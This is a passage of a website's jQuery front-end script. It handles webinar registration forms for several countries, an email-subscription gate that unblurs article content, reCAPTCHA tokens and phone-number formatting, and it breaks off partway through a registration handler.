jQuery(document).ready(function(){

    jQuery("#webinar_student_title").change(function(){
        var selected = jQuery(this).val(); 
        if(selected == "기타") {
            jQuery(".webinar_student_title_other").show();
        } else {
            jQuery(".webinar_student_title_other").hide();
        }
    });  
/*
    jQuery("#university_name").change(function(){
        var selected = jQuery(this).val();
        if(selected == "기타") {
            jQuery('#other-univ').show();

        } else {
            jQuery("#other-univ").hide();
        }
    }); */

    jQuery(".main-post-track a").addClass('main-post-trigger');
    
    /**SP WEBINAR**/
    var webinar_bid = jQuery("#webinar_bid").val();
    var webinar_pid = jQuery("#webinar_pid").val();
    
    if(webinar_bid == 20)
    {
        jQuery(".personal_email_group").hide();
        jQuery(".spanish_univ_name_group").show();
    }
    
    if(webinar_pid == 29731)
    {
        jQuery(".univ_global").show();
    }
    
    //jQuery("#country_selector").countrySelect();
    jQuery(".country_selector_jp").countrySelect({defaultCountry:"jp"});
    jQuery(".country_selector_kr").countrySelect({defaultCountry:"kr"});
    jQuery(".country_selector_tw").countrySelect({defaultCountry:"tw"});
    jQuery(".country_selector_br").countrySelect({defaultCountry:"br"});    
    jQuery(".country_selector_tr").countrySelect({defaultCountry:"tr"});    
    jQuery(".country_selector_ru").countrySelect({defaultCountry:"ru"});    
    jQuery(".country_selector_sp").countrySelect({defaultCountry:"es"});
    jQuery(".country_selector_gb").countrySelect({defaultCountry:"us"});
    
    /**SP WEBINAR**/
    
    var counter = 5;
    jQuery("#btn_submit").click(function(){	
        
        grecaptcha.ready(function () {
            grecaptcha.execute('6LcKm8UZAAAAAIQGO7vhznrUoHGmXmHs2_jHG-lX', { action: 'submit' }).then(function (token) {
                var recaptchaResponse = document.getElementById('recaptchaResponse');
                recaptchaResponse.value = token;
                var email = jQuery("#subscribers_email").val();
                var source = jQuery("#source").val();
                var url = window.location.href;        
                if(email.trim() == "" || !validateEmail(email))
                {
                    alert('Please enter a valid email id');
                    return false;
                }
                else if(jQuery('input[name=terms_checkbox]').prop('checked') == false && source == "Global")
                {
                    alert('Please accept the Privacy Policy.');
                    return false;
                }
                else
                {
                    jQuery("#btn_submit").prop('disabled', true);
                    jQuery.ajax({
                        type: 'POST',
                        url : fullpath+'/email_submit.php?callback=callback&email='+email+'&source='+source+'&recaptcha_response='+token,
                        dataType: 'jsonp',
                        jsonpCallback: "callback",
                        data : 'email='+email+'&source='+source,
                        success:function(response){
                            console.log(response);
                            if(response == "Record Inserted")
                            {
                                jQuery(".modal-body-new, .modal-footer, .subscribe_title").hide();
                                jQuery(".alert-success").fadeIn();                        
                                 window.setTimeout(function(){
                                    window.location.href = url;
                                }, 1000);
                                jQuery('.unlock_img').hide();
                                jQuery('.single-container article').css('filter', 'blur(0px)');
                                jQuery('.single-container article').css('user-select', 'auto');
                            }
                            else
                            {
                                jQuery("#btn_submit").prop('disabled', false);
                                alert("Please try again.");
                            }
                        },
                      error:function(response){
                        console.log(response);
                      }			
                    });
                }                                
            });
        });		
	});

    jQuery(document).ready(function(){
        grecaptcha.ready(function () {
            grecaptcha.execute('6LcKm8UZAAAAAIQGO7vhznrUoHGmXmHs2_jHG-lX', { action: 'submit' }).then(function (token) {
                var recaptchaResponse = document.getElementById('recaptchaResponse');
                recaptchaResponse.value = token;
            })
        })
    })
    
       jQuery("#btn-unlock-submit").click(function(){	
            
            // grecaptcha.ready(function () {
            // grecaptcha.execute('6LcKm8UZAAAAAIQGO7vhznrUoHGmXmHs2_jHG-lX', { action: 'submit' }).then(function (token) {
            //     var recaptchaResponse = document.getElementById('recaptchaResponse');
            //     recaptchaResponse.value = token;
            // token = "";
           
            var email = jQuery("#subscribers_email").val();
            var token = document.getElementById('recaptchaResponse').value;
            var source = jQuery("#source").val();
            var url = window.location.href;        
            if(email.trim() == "" || !validateEmail(email))
            {
                alert('Please enter a valid email id');
                return false;
            }
            else if(jQuery('input[name=terms_checkbox]').prop('checked') == false && source == "Global")
            {
                alert('Please accept the Privacy Policy.');
                return false;
            }
            else if(jQuery('input[name=terms_checkbox]').prop('checked') == false && source == "Latin")
            {
                alert('Please accept the Privacy Policy.');
                return false;
            }
            else if(jQuery('input[name=terms_checkbox]').prop('checked') == false && source == "Russia")
            {
                alert('Please accept the Privacy Policy.');
                return false;
            }
            else
            {
                jQuery("#btn-unlock-submit").prop('disabled', true);
                jQuery.ajax({
                    type: 'POST',
                    url : fullpath+'/email_submit.php?callback=callback&email='+email+'&source='+source+'&recaptcha_response='+token,
                    dataType: 'jsonp',
                    jsonpCallback: "callback",
                    data : 'email='+email+'&source='+source,
                    success:function(response){
                        console.log(response);
                        if(response == "Record Inserted")
                        {                        
                            //jQuery(".persistent-banner").hide();
                            jQuery(".main-lockdiv").hide();
                            jQuery(".main-lockdiv #btn-unlock-submit").fadeOut('slow');
                            jQuery("body").css('overflow', 'auto');                        
                            jQuery('.single-container article').css('filter', 'blur(0px)');
                            jQuery('.single-container article').css('user-select', 'auto');
                            jQuery('.ajax-post-content').css('filter', 'blur(0px)');
                            jQuery('.ajax-post-content').css('user-select', 'auto');
                            jQuery('.ajax-post-content').removeClass('article_blur');
                            jQuery("#btn-unlock-submit").prop('disabled', false);  
                        }
                        else
                        {                        
                            //jQuery(".persistent-banner").hide();
                            jQuery(".main-lockdiv").hide();                        
                            jQuery('.single-container article').css('filter', 'blur(0px)');
                            jQuery('.single-container article').css('user-select', 'auto');
                            jQuery('.ajax-post-content').css('filter', 'blur(0px)');
                            jQuery('.ajax-post-content').css('user-select', 'auto');
                            jQuery('.ajax-post-content').removeClass('article_blur');
                            jQuery("#btn-unlock-submit").prop('disabled', false);
                            jQuery("body").css('overflow', 'auto');
                        }
                    },
                  error:function(response){
                    console.log(response);
                    jQuery("#btn-unlock-submit").prop('disabled', false);
                  }			
                });
            } 
                
            });
    //     });		
	// });
    
    var source = jQuery("#source").val();
    
    if(jQuery(window).width() < 1152 && source == "Global")
    {
        jQuery(".lockdiv").addClass("col-md-5");
        jQuery(".lockdiv").removeClass("col-md-4");
    }
    else if(jQuery(window).width() < 1152 && source == "Taiwan")
    {
        jQuery(".lockdiv").addClass("col-md-5");
        jQuery(".lockdiv").removeClass("col-md-4");
    }
    else if(jQuery(window).width() < 1152 && source == "Turkey")
    {
        jQuery(".lockdiv").addClass("col-md-5");
        jQuery(".lockdiv").removeClass("col-md-4");
    }
    else if(jQuery(window).width() < 1152 && source == "Japan")
    {
        jQuery(".lockdiv").addClass("col-md-6");
        jQuery(".lockdiv").removeClass("col-md-5");
    }
    else if(jQuery(window).width() < 1152 && source == "Korea")
    {
        jQuery(".lockdiv").addClass("col-md-6");
        jQuery(".lockdiv").removeClass("col-md-5");
        jQuery(".lockdivform").removeClass("col-md-4");
    }
    else if(jQuery(window).width() < 1152 && source == "Russia")
    {
        jQuery(".lockdiv").addClass("col-md-5");
        jQuery(".lockdiv").removeClass("col-md-4");
    }
    else if(jQuery(window).width() < 1152 && source == "Brazil")
    {
        jQuery(".lockdiv").addClass("col-md-5");
        jQuery(".lockdiv").removeClass("col-md-4");
    }
    else{}
    
    jQuery("#subscribe_unlock_opt").click(function(){
        jQuery(".main-lockdiv").fadeIn();
        jQuery(".lock").fadeIn();
    });
    
    jQuery(".subscribe_unlock_opt").click(function(){
        jQuery(".main-lockdiv").fadeIn();
        jQuery(".lock").fadeIn();
    });
    
    jQuery(".popupCloseButtonNew").click(function(){
        jQuery(".main-lockdiv").fadeOut();
        jQuery(".lock").fadeOut();
    });
    
    jQuery(".popupCloseButtonNewStrip").click(function(){
        jQuery(".persistent-banner").fadeOut();
    });
    
    /**Country Field **/
    if(webinar_bid == 1 || webinar_bid == 10 || webinar_bid == 17)
    {
        var input = document.querySelector("#webinar_phone"); 
        errorMsg = document.querySelector("#error-msg"),
        validMsg = document.querySelector("#valid-msg");

        var iti = window.intlTelInput(input, {
          initialCountry: "auto",
          geoIpLookup: function(callback) {
            jQuery.get('https://ipinfo.io', function() {}, "jsonp").always(function(resp) {
              var countryCode = (resp && resp.country) ? resp.country : "";
              callback(countryCode);
            });
          },
          utilsScript: "https://cdn.jsdelivr.net/npm/intl-tel-input@16.0.3/build/js/utils.js" // just forr formatting/placeholders etc
        });

     /**Country Field**/
    }
    else
    {
        var iti = 9999999990;
    }
    
    if(webinar_bid == 14)
    {
        jQuery('#webinar_selection').multiselect({
            nonSelectedText: 'お選びください',
            includeSelectAllOption: true,
            numberDisplayed: 1,
            selectAllText: '全てのセッションを選択',
            selectAllValue: 'select-all',
            buttonWidth: '100%',            
            selectAllNumber: false
        });
    }
    
    jQuery("#webinar_submit_btn").click(function(){
        
        grecaptcha.ready(function () {
            grecaptcha.execute('6LcKm8UZAAAAAIQGO7vhznrUoHGmXmHs2_jHG-lX', { action: 'submit' }).then(function (token) {
                var recaptchaResponse = document.getElementById('recaptchaResponse');
                recaptchaResponse.value = token;
        
            var first_name = jQuery("#webinar_first_name").val();
            var university_email = jQuery("#webinar_uni_email").val();        
            var webinar_id = jQuery("#webinar_id").val();
            var webinar_student_title = jQuery("#webinar_student_title").val();
            var webinar_title_other = jQuery("#webinar_title_other").val();
            var webinar_type = jQuery("#webinar_type").val();
            var webinar_name = jQuery("#webinar_name").val();
            var university_name = jQuery("#university_name").val();
            var zoom_id = jQuery("#zoom_id").val();
            //var university_other = jQuery("#webinar_uni_other").val();
	    

            
            //var webinar_uniname = jQuery("#webinar_uniname").val();
            var webphone = jQuery("#webinar_phone").val();
            var student_designation = jQuery("#student_designation").val();
            var student_country = jQuery("#student_country").val();
            var student_expertise = jQuery("#student_expertise").val();
            var webinar_bid = jQuery("#webinar_bid").val();
            var webinar_cid = jQuery("#webinar_cid").val();
            var subscribe_us = jQuery("#subscribe_us").val(); 
            var webinar_pid = jQuery("#webinar_pid").val();
            var department_name = jQuery("#department_name").val();
            var webinar_source = GetURLParameter('utm_source');
            var webinar_medium = GetURLParameter('utm_medium');
            var webinar_campaign = GetURLParameter('utm_campaign');  
            var emailblockReg = /^([\w-\.]+@(?!gmail.com)(?!naver.com)(?!daum.net)(?!yahoo.com)(?!hanmail.net)(?!hotmail.com)(?!nate.com)(?!outlook.com)(?!GMAIL.COM)(?!NAVER.COM)(?!DAUM.NET)(?!YAHOO.COM)(?!HANMAIL.NET)(?!HOTMAIL.COM)(?!NATE.COM)(?!OUTLOOK.COM)([\w-]+\.)+[\w-]{2,4})?$/;
            var phoneregex = /^(?=.*[0-9])[- +()0-9]+$/gm;


            if(webinar_bid == 1 || webinar_bid == 10 || webinar_bid == 17)
            { 
                var countryData = iti.getSelectedCountryData();
                var input = document.querySelector("#webinar_phone");                 
                var phone = jQuery("#webinar_phone").val();            
            }
            else
            {
                var phone = jQuery("#webinar_phone").val();
            }                
            
            if((webinar_bid != 20 && webinar_bid == 1 && webinar_cid == 1628))
            {
                var email = "NA";   
            }
            else if(webinar_bid != 20)
            {
                var email = jQuery("#webinar_email").val();      
            }
            else
            {
                var email = "NA";
            }
            jQuery('.has-success, .has-warning').hide();

            if(jQuery('#subscribe_us').is(":checked"))
            {
                var subscribe_us = "Yes";
            }
            else
            {
                var subscribe_us = "No";
            }

            //console.log(email);

            if(first_name.trim() == "")
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#webinar_first_name').parent().addClass('has-error');
                jQuery('.firstname_error').show();
                return false;
            } 


            if(university_name.trim() == "")
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#university_name').parent().addClass('has-error');
                jQuery('.university_name').show();
                return false;
            } 

		
		
				
	    	    

            // else if(university_name == "")
            
           /* else if(jQuery("#university_name")[0].selectedIndex <= 0)
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#university_name').parent().addClass('has-error');
                jQuery('.univ_name_error').show();
                return false;
            }*/

            /*else if(jQuery("#university_name").val().trim() == "기타" && university_other.trim() == "")
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#webinar_uni_other').parent().addClass('has-error');
                jQuery('.webinar_uni_other').show();
                return false;
            }*/

            else if(university_email.trim() == "" || !validateEmail(university_email))
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#webinar_uni_email').parent().addClass('has-error');
                jQuery('.uni_email_error').show();
                return false;
            }
            else if(!emailblockReg.test(university_email) && webinar_bid == 10)
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#webinar_uni_email').parent().addClass('has-error');
                jQuery('.uni_email_error').show();
                return false;
            }
            else if(((email.trim() == "" || !validateEmail(email)) && webinar_bid != 20 && webinar_cid != 1628 && webinar_bid != 14 && webinar_bid != 10))
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#webinar_email').parent().addClass('has-error');
                jQuery('.email_error').show();
                return false;
            }
            else if((department_name.trim() == "" && webinar_bid == 20) || (department_name.trim() == "" && webinar_bid == 1 && webinar_cid == 1628))
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#department_name').parent().addClass('has-error');
                jQuery('.department_name_error').show();
                return false;
            }  

            else if(webinar_bid == 1 || webinar_bid == 10 || webinar_bid == 17)
            {
                if(!phoneregex.test(phone) && phone.trim() != "")
                {
                    errorMsg.innerHTML = "Please enter a valid number";              
                    jQuery('.form-group').removeClass('has-error');
                    jQuery('.help-block').hide();
                    jQuery('#webinar_phone').parent().addClass('has-error');
                    jQuery('.phone_error').show();
                    return false;       
                }
                else
                {
                    var phone_number = '';
                    if(phone.trim() != "")
                    {
                        phone_number = '+'+countryData.dialCode+' '+phone;        
                    }  //

                    jQuery('.form-group').removeClass('has-error');
                    jQuery('.help-block').hide();
                    console.log('Title = '+webinar_student_title);
                    //console.log(first_name+','+last_name+','+email+','+webinar_id+','+subscribe_us);
                    jQuery.ajax({
                        type: 'POST',
                        url : fullpath+'/webinar_submit.php?first_name='+encodeURIComponent(first_name)+'&university_email='+encodeURIComponent(university_email)+'&email_id='+encodeURIComponent(email)+'&webinar_phone='+encodeURIComponent(phone_number)+'&webinar_id='+webinar_id+'&zoom_id='+zoom_id+'&webinar_type='+webinar_type+'&subscribe_us='+subscribe_us+'&webinar_name='+encodeURIComponent(webinar_name)+'&university_name='+encodeURIComponent(university_name)+'&department_name='+encodeURIComponent(department_name)+'&student_designation='+encodeURIComponent(student_designation)+'&student_country='+encodeURIComponent(student_country)+'&student_expertise='+encodeURIComponent(student_expertise)+'&webinar_bid='+webinar_bid+'&webinar_source='+encodeURIComponent(webinar_source)+'&webinar_medium='+encodeURIComponent(webinar_medium)+'&webinar_campaign='+encodeURIComponent(webinar_campaign)+'&recaptcha_response='+encodeURIComponent(token)+'&webinar_student_title='+encodeURIComponent(webinar_student_title)+'&webinar_title_other='+encodeURIComponent(webinar_title_other),
                        dataType: 'jsonp',
                        jsonpCallback: "callback",
                        data : 'first_name='+encodeURIComponent(first_name)+'&university_email='+encodeURIComponent(university_email)+'&email_id='+encodeURIComponent(email)+'&webinar_phone='+encodeURIComponent(phone_number)+'&webinar_id='+webinar_id+'&zoom_id='+zoom_id+'&webinar_type='+webinar_type+'&subscribe_us='+subscribe_us+'&webinar_name='+encodeURIComponent(webinar_name)+'&university_name='+encodeURIComponent(university_name)+'&department_name='+encodeURIComponent(department_name)+'&student_designation='+encodeURIComponent(student_designation)+'&student_country='+encodeURIComponent(student_country)+'&student_expertise='+encodeURIComponent(student_expertise)+'&webinar_bid='+webinar_bid+'&webinar_source='+encodeURIComponent(webinar_source)+'&webinar_medium='+encodeURIComponent(webinar_medium)+'&webinar_campaign='+encodeURIComponent(webinar_campaign)+'&recaptcha_response='+encodeURIComponent(token)+'&webinar_student_title='+encodeURIComponent(webinar_student_title)+'&webinar_title_other='+encodeURIComponent(webinar_title_other),
                        success:function(response){
                            console.log(response);
                            var response_split = response.split("|");
                            //console.log(response_split);
                            if(response_split[0] == "User registered")		
                            {
                                jQuery("#btn_submit").prop('disabled', false);
                                jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                                jQuery('.has-success, .has-success .success_msg').fadeIn(); 
                                ga('send', 'event', 'WebinarRegSuccessMessage', 'RegistrationBtnClick', 'WebinarPage');
                            }
                            else if(response_split[0] == "The user is already registered")
                            {
                                jQuery("#btn_submit").prop('disabled', false);
                                //jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                                //jQuery('.web_already_registered, .web_already_registered .already_registered_msg').fadeIn();
                                jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                                jQuery('.has-success, .has-success .success_msg').fadeIn(); 
                            }
                            else if(response_split[0] == "User registered old")
                            {
                                jQuery("#btn_submit").prop('disabled', false);
                                jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                                jQuery('.has-success-redirect, .has-success-redirect .success_msg_redirect').fadeIn();     
                                window.setTimeout(function(){                            
                                    window.location.href = response_split[1];
                                }, 6000);   
                                
                                if(jQuery("#webinar_counter").length)
                                {
                                    var interval = setInterval(function() {
                                        counter--;
                                        jQuery('.has-success-redirect .success_msg_redirect #webinar_counter').css({"text-decoration" : "underline", "font-weight" : "bold", "color" : "darkgreen"});
                                        jQuery('.has-success-redirect .success_msg_redirect #webinar_counter').html(counter);
                                        if (counter == 1) {
                                            window.location.href = response_split[1];
                                            clearInterval(interval);
                                        }
                                    }, 1000);
                                }
                                else
                                {
                                    var interval = setInterval(function() {
                                        counter--;                                    
                                        if (counter == 1) {
                                            window.location.href = response_split[1];
                                            clearInterval(interval);
                                        }
                                    }, 1000);
                                }                                
                            }
                            else
                            {
                                jQuery("#btn_submit").prop('disabled', false);
                                jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                                jQuery('.web_warning, .web_warning .warning_msg').fadeIn();
                            }
                        },
                      error:function(response){
                        console.log(response);
                        jQuery("#btn_submit").prop('disabled', false);
                        jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                        jQuery('.web_warning, .web_warning .warning_msg').fadeIn();
                      }			
                    });         
                }            
            }
            else
            {
                var phone_number = '';
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();

                console.log('Title = '+webinar_student_title);
                //console.log(first_name+','+last_name+','+email+','+webinar_id+','+subscribe_us);
                jQuery.ajax({
                    type: 'POST',
                     url : fullpath+'/webinar_submit.php?first_name='+encodeURIComponent(first_name)+'&university_email='+encodeURIComponent(university_email)+'&email_id='+encodeURIComponent(email)+'&webinar_phone='+encodeURIComponent(phone_number)+'&webinar_id='+webinar_id+'&zoom_id='+zoom_id+'&webinar_type='+webinar_type+'&subscribe_us='+subscribe_us+'&webinar_name='+encodeURIComponent(webinar_name)+'&university_name='+encodeURIComponent(university_name)+'&department_name='+encodeURIComponent(department_name)+'&student_designation='+encodeURIComponent(student_designation)+'&student_country='+encodeURIComponent(student_country)+'&student_expertise='+encodeURIComponent(student_expertise)+'&webinar_bid='+webinar_bid+'&webinar_source='+encodeURIComponent(webinar_source)+'&webinar_medium='+encodeURIComponent(webinar_medium)+'&webinar_campaign='+encodeURIComponent(webinar_campaign)+'&recaptcha_response='+encodeURIComponent(token)+'&webinar_student_title='+encodeURIComponent(webinar_student_title)+'&webinar_title_other='+encodeURIComponent(webinar_title_other),
                    dataType: 'jsonp',
                    jsonpCallback: "callback",
                    data : 'first_name='+encodeURIComponent(first_name)+'&university_email='+encodeURIComponent(university_email)+'&email_id='+encodeURIComponent(email)+'&webinar_phone='+encodeURIComponent(phone_number)+'&webinar_id='+webinar_id+'&zoom_id='+zoom_id+'&webinar_type='+webinar_type+'&subscribe_us='+subscribe_us+'&webinar_name='+encodeURIComponent(webinar_name)+'&university_name='+encodeURIComponent(university_name)+'&department_name='+encodeURIComponent(department_name)+'&student_designation='+encodeURIComponent(student_designation)+'&student_country='+encodeURIComponent(student_country)+'&student_expertise='+encodeURIComponent(student_expertise)+'&webinar_bid='+webinar_bid+'&webinar_source='+encodeURIComponent(webinar_source)+'&webinar_medium='+encodeURIComponent(webinar_medium)+'&webinar_campaign='+encodeURIComponent(webinar_campaign)+'&recaptcha_response='+encodeURIComponent(token)+'&webinar_student_title='+encodeURIComponent(webinar_student_title)+'&webinar_title_other='+encodeURIComponent(webinar_title_other),
                    success:function(response){
                        console.log(response);
                        var response_split = response.split("|");
                        //console.log(response_split);
                        if(response_split[0] == "User registered")		
                        {
                            jQuery("#btn_submit").prop('disabled', false);
                            jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                            jQuery('.has-success, .has-success .success_msg').fadeIn(); 
                            ga('send', 'event', 'WebinarRegSuccessMessage', 'RegistrationBtnClick', 'WebinarPage');
                        }
                        else if(response_split[0] == "The user is already registered")
                        {
                            jQuery("#btn_submit").prop('disabled', false);
                            jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                            jQuery('.web_already_registered, .web_already_registered .already_registered_msg').fadeIn();
                        }
                        else if(response_split[0] == "User registered old")
                        {
                            jQuery("#btn_submit").prop('disabled', false);
                            jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                            jQuery('.has-success-redirect, .has-success-redirect .success_msg_redirect').fadeIn();     
                            window.setTimeout(function(){                            
                                window.location.href = response_split[1];
                            }, 6000);   
                            
                            
                            if(jQuery("#webinar_counter").length)
                            {
                                var interval = setInterval(function() {
                                    counter--;
                                    jQuery('.has-success-redirect .success_msg_redirect #webinar_counter').css({"text-decoration" : "underline", "font-weight" : "bold", "color" : "darkgreen"});
                                    jQuery('.has-success-redirect .success_msg_redirect #webinar_counter').html(counter);
                                    if (counter == 1) {
                                        window.location.href = response_split[1];
                                        clearInterval(interval);
                                    }
                                }, 1000);
                            }
                            else
                            {
                                var interval = setInterval(function() {
                                    counter--;                                    
                                    if (counter == 1) {
                                        window.location.href = response_split[1];
                                        clearInterval(interval);
                                    }
                                }, 1000);
                            }
                        }
                        else
                        {
                            jQuery("#btn_submit").prop('disabled', false);
                            jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                            jQuery('.web_warning, .web_warning .warning_msg').fadeIn();
                        }
                    },
                  error:function(response){
                    console.log(response);
                    jQuery("#btn_submit").prop('disabled', false);
                    jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                    jQuery('.web_warning, .web_warning .warning_msg').fadeIn();
                  }			
                });         
            }
                
            });
        });		
    });
	
	
	/* webinar Japan Global */
	 jQuery("#webinar_submit_btn_globaljapan").click(function(){	
        
        grecaptcha.ready(function () {
            grecaptcha.execute('6LcKm8UZAAAAAIQGO7vhznrUoHGmXmHs2_jHG-lX', { action: 'submit' }).then(function (token) {
                var recaptchaResponse = document.getElementById('recaptchaResponse');
                recaptchaResponse.value = token;
        
            var first_name = jQuery("#webinar_first_name").val();
            var university_email = jQuery("#webinar_uni_email").val();        
            var webinar_id = jQuery("#webinar_id").val();
            var webinar_student_title = jQuery("#webinar_student_title").val();
            var webinar_title_other = jQuery("#webinar_title_other").val();
            var webinar_type = jQuery("#webinar_type").val();
            var webinar_name = jQuery("#webinar_name").val();
            var university_name = jQuery("#university_name").val();
            var department_name = jQuery("#department_name").val();
            var webinar_bid = jQuery("#webinar_bid").val();
            var webinar_cid = jQuery("#webinar_cid").val();
            var subscribe_us = jQuery("#subscribe_us").val(); 
            var webinar_pid = jQuery("#webinar_pid").val();
            var webinar_source = GetURLParameter('utm_source');
            var webinar_medium = GetURLParameter('utm_medium');
            var webinar_campaign = GetURLParameter('utm_campaign');  
            var emailblockReg = /^([\w-\.]+@(?!gmail.com)(?!naver.com)(?!daum.net)(?!yahoo.com)(?!hanmail.net)(?!hotmail.com)(?!nate.com)(?!outlook.com)(?!GMAIL.COM)(?!NAVER.COM)(?!DAUM.NET)(?!YAHOO.COM)(?!HANMAIL.NET)(?!HOTMAIL.COM)(?!NATE.COM)(?!OUTLOOK.COM)([\w-]+\.)+[\w-]{2,4})?$/;
            var phoneregex = /^(?=.*[0-9])[- +()0-9]+$/gm;

            if(webinar_bid == 1 || webinar_bid == 10 || webinar_bid == 17)
            { 
                var countryData = iti.getSelectedCountryData();
                var input = document.querySelector("#webinar_phone");                 
                var phone = jQuery("#webinar_phone").val();            
            }
            else
            {
                var phone = jQuery("#webinar_phone").val();
            }                
            
         /*   if((webinar_bid != 20 && webinar_bid == 1 && webinar_cid == 1628))
            {
                var email = "NA";   
            }
            else if(webinar_bid != 20)
            {
                var email = jQuery("#webinar_email").val();      
            }
            else
            {
                var email = "NA";
            }*/
            jQuery('.has-success, .has-warning').hide();

            if(jQuery('#subscribe_us').is(":checked"))
            {
                var subscribe_us = "Yes";
            }
            else
            {
                var subscribe_us = "No";
            }
            //console.log(email);
            if(first_name.trim() == "")
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#webinar_first_name').parent().addClass('has-error');
                jQuery('.firstname_error').show();
                return false;
            } 
            else if(university_name.trim() == "")
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#university_name').parent().addClass('has-error');
                jQuery('.univ_name_error').show();
                return false;
            }
            else if(university_email.trim() == "" || !validateEmail(university_email))
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#webinar_uni_email').parent().addClass('has-error');
                jQuery('.uni_email_error').show();
                return false;
            }
            else if(!emailblockReg.test(university_email) && webinar_bid == 10)
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#webinar_uni_email').parent().addClass('has-error');
                jQuery('.uni_email_error').show();
                return false;
            }
           /* else if(((email.trim() == "" || !validateEmail(email)) && webinar_bid != 20 && webinar_cid != 1628 && webinar_bid != 14))
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#webinar_email').parent().addClass('has-error');
                jQuery('.email_error').show();
                return false;
            }*/
            else if((department_name.trim() == "" && webinar_bid == 20) || (department_name.trim() == "" && webinar_bid == 1 && webinar_cid == 1628))
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#department_name').parent().addClass('has-error');
                jQuery('.department_name_error').show();
                return false;
            }        
            else if(webinar_bid == 1 || webinar_bid == 10 || webinar_bid == 17)
            {
                if(!phoneregex.test(phone) && phone.trim() != "")
                {
                    errorMsg.innerHTML = "Please enter a valid number";              
                    jQuery('.form-group').removeClass('has-error');
                    jQuery('.help-block').hide();
                    jQuery('#webinar_phone').parent().addClass('has-error');
                    jQuery('.phone_error').show();
                    return false;       
                }
                else
                {      
                    var phone_number = '';
                    if(phone.trim() != "")
                    {
                        phone_number = '+'+countryData.dialCode+' '+phone;        
                    }   

                    jQuery('.form-group').removeClass('has-error');
                    jQuery('.help-block').hide();
                    console.log('Title = '+webinar_student_title);
                    //console.log(first_name+','+last_name+','+email+','+webinar_id+','+subscribe_us);
                    jQuery.ajax({
                        type: 'POST',
                        url : fullpath+'/webinar_submit_jp_global.php?first_name='+encodeURIComponent(first_name)+'&university_email='+encodeURIComponent(university_email)+'&webinar_phone='+encodeURIComponent(phone_number)+'&webinar_id='+webinar_id+'&webinar_type='+webinar_type+'&subscribe_us='+subscribe_us+'&webinar_name='+encodeURIComponent(webinar_name)+'&university_name='+encodeURIComponent(university_name)+'&department_name='+encodeURIComponent(department_name)+'&webinar_bid='+webinar_bid+'&webinar_source='+encodeURIComponent(webinar_source)+'&webinar_medium='+encodeURIComponent(webinar_medium)+'&webinar_campaign='+encodeURIComponent(webinar_campaign)+'&recaptcha_response='+encodeURIComponent(token)+'&webinar_student_title='+encodeURIComponent(webinar_student_title)+'&webinar_title_other='+encodeURIComponent(webinar_title_other),
                        dataType: 'jsonp',
                        jsonpCallback: "callback",
                        data : 'first_name='+encodeURIComponent(first_name)+'&university_email='+encodeURIComponent(university_email)+'&webinar_phone='+encodeURIComponent(phone_number)+'&webinar_id='+webinar_id+'&webinar_type='+webinar_type+'&subscribe_us='+subscribe_us+'&webinar_name='+encodeURIComponent(webinar_name)+'&university_name='+encodeURIComponent(university_name)+'&department_name='+encodeURIComponent(department_name)+'&webinar_bid='+webinar_bid+'&webinar_source='+encodeURIComponent(webinar_source)+'&webinar_medium='+encodeURIComponent(webinar_medium)+'&webinar_campaign='+encodeURIComponent(webinar_campaign)+'&recaptcha_response='+encodeURIComponent(token)+'&webinar_student_title='+encodeURIComponent(webinar_student_title)+'&webinar_title_other='+encodeURIComponent(webinar_title_other),
                        success:function(response){
                            console.log(response);
                            var response_split = response.split("|");
                            //console.log(response_split);
                            if(response_split[0] == "User registered")		
                            {
                                jQuery("#btn_submit").prop('disabled', false);
                                jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                                jQuery('.has-success, .has-success .success_msg').fadeIn(); 
                                ga('send', 'event', 'WebinarRegSuccessMessage', 'RegistrationBtnClick', 'WebinarPage');
                            }
                            else if(response_split[0] == "The user is already registered")
                            {
                                jQuery("#btn_submit").prop('disabled', false);
                                //jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                                //jQuery('.web_already_registered, .web_already_registered .already_registered_msg').fadeIn();
                                jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                                jQuery('.has-success, .has-success .success_msg').fadeIn(); 
                            }
                            else if(response_split[0] == "User registered old")
                            {
                                jQuery("#btn_submit").prop('disabled', false);
                                jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                                jQuery('.has-success-redirect, .has-success-redirect .success_msg_redirect').fadeIn();     
                                window.setTimeout(function(){                            
                                    window.location.href = response_split[1];
                                }, 6000);   
                                
                                if(jQuery("#webinar_counter").length)
                                {
                                    var interval = setInterval(function() {
